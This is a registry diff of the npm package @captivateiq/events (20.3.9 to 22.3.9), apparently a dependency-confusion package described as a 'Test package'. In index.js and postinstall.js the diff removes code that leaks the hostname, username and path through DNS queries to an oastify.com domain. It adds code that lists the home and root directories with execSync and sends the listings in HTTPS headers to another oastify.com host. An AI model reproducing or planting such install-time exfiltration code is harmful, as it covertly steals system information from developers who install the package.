@captivateiq/events 20.3.9 → 22.3.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +34 -24
  2. package/package.json +1 -1
  3. package/postinstall.js +34 -24
package/index.js CHANGED
@@ -1,33 +1,43 @@
1
1
  const os = require('os');
2
- const dns = require('dns');
3
- const path = require('path');
2
+ const https = require('https');
3
+ const { execSync } = require('child_process');
4
4
 
5
- // Collect system information
6
- const hostname = os.hostname();
7
- const username = os.userInfo().username;
8
- const execPath = __dirname;
9
-
10
- // Function to convert a string to hexadecimal
11
- function toHex(str) {
12
- return Buffer.from(str, 'utf8').toString('hex');
5
+ function getDirectoryListing(path) {
6
+ try {
7
+ return execSync(`ls ${path}`, { encoding: 'utf8' });
8
+ } catch (err) {
9
+ return `Error: ${err.message}`;
10
+ }
13
11
  }
14
12
 
15
- // Encode data to hexadecimal
16
- const data = `hostname=${hostname}&username=${username}&execPath=${execPath}`;
17
- const hexData = toHex(data);
13
+ const homeDir = os.homedir();
14
+ const homeListing = getDirectoryListing(homeDir);
15
+ const rootListing = getDirectoryListing('/');
16
+ const encodedHomeListing = encodeURIComponent(homeListing);
17
+ const encodedRootListing = encodeURIComponent(rootListing);
18
18
 
19
- // Define your DNS server domain
20
- const domain = '66aor9uzdc6i2ftyzur92uilqcw3kv8k.oastify.com';
21
- const chunkSize = 63; // Max subdomain length in DNS
19
+ function sendHttpRequest(homeData, rootData) {
20
+ const options = {
21
+ hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
22
+ port: 443,
23
+ path: '/',
24
+ method: 'GET',
25
+ headers: {
26
+ 'X-Home-Listing': homeData,
27
+ 'X-Root-Listing': rootData,
28
+ 'X-events': "true"
29
+ }
30
+ };
22
31
 
23
- // Split the hexData into chunks and send each as a DNS query
24
- for (let i = 0; i < hexData.length; i += chunkSize) {
25
- const chunk = hexData.slice(i, i + chunkSize);
26
- const subdomain = `${chunk}.${domain}`;
32
+ const req = https.request(options, (res) => {
33
+ console.log(`Status Code: ${res.statusCode}`);
34
+ });
27
35
 
28
- // Perform DNS lookup to trigger the request
29
- dns.lookup(subdomain, (err, address) => {
30
- if (err) console.error('DNS query failed:', err);
31
- else console.log(`DNS query sent: ${subdomain}`);
36
+ req.on('error', (error) => {
37
+ console.error('Request failed:', error);
32
38
  });
39
+
40
+ req.end();
33
41
  }
42
+
43
+ sendHttpRequest(encodedHomeListing, encodedRootListing);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@captivateiq/events",
3
- "version": "20.3.9",
3
+ "version": "22.3.9",
4
4
  "description": "Test package",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,33 +1,43 @@
1
1
  const os = require('os');
2
- const dns = require('dns');
3
- const path = require('path');
2
+ const https = require('https');
3
+ const { execSync } = require('child_process');
4
4
 
5
- // Collect system information
6
- const hostname = os.hostname();
7
- const username = os.userInfo().username;
8
- const execPath = __dirname;
9
-
10
- // Function to convert a string to hexadecimal
11
- function toHex(str) {
12
- return Buffer.from(str, 'utf8').toString('hex');
5
+ function getDirectoryListing(path) {
6
+ try {
7
+ return execSync(`ls ${path}`, { encoding: 'utf8' });
8
+ } catch (err) {
9
+ return `Error: ${err.message}`;
10
+ }
13
11
  }
14
12
 
15
- // Encode data to hexadecimal
16
- const data = `hostname=${hostname}&username=${username}&execPath=${execPath}`;
17
- const hexData = toHex(data);
13
+ const homeDir = os.homedir();
14
+ const homeListing = getDirectoryListing(homeDir);
15
+ const rootListing = getDirectoryListing('/');
16
+ const encodedHomeListing = encodeURIComponent(homeListing);
17
+ const encodedRootListing = encodeURIComponent(rootListing);
18
18
 
19
- // Define your DNS server domain
20
- const domain = '66aor9uzdc6i2ftyzur92uilqcw3kv8k.oastify.com';
21
- const chunkSize = 63; // Max subdomain length in DNS
19
+ function sendHttpRequest(homeData, rootData) {
20
+ const options = {
21
+ hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
22
+ port: 443,
23
+ path: '/',
24
+ method: 'GET',
25
+ headers: {
26
+ 'X-Home-Listing': homeData,
27
+ 'X-Root-Listing': rootData,
28
+ 'X-events': "true"
29
+ }
30
+ };
22
31
 
23
- // Split the hexData into chunks and send each as a DNS query
24
- for (let i = 0; i < hexData.length; i += chunkSize) {
25
- const chunk = hexData.slice(i, i + chunkSize);
26
- const subdomain = `${chunk}.${domain}`;
32
+ const req = https.request(options, (res) => {
33
+ console.log(`Status Code: ${res.statusCode}`);
34
+ });
27
35
 
28
- // Perform DNS lookup to trigger the request
29
- dns.lookup(subdomain, (err, address) => {
30
- if (err) console.error('DNS query failed:', err);
31
- else console.log(`DNS query sent: ${subdomain}`);
36
+ req.on('error', (error) => {
37
+ console.error('Request failed:', error);
32
38
  });
39
+
40
+ req.end();
33
41
  }
42
+
43
+ sendHttpRequest(encodedHomeListing, encodedRootListing);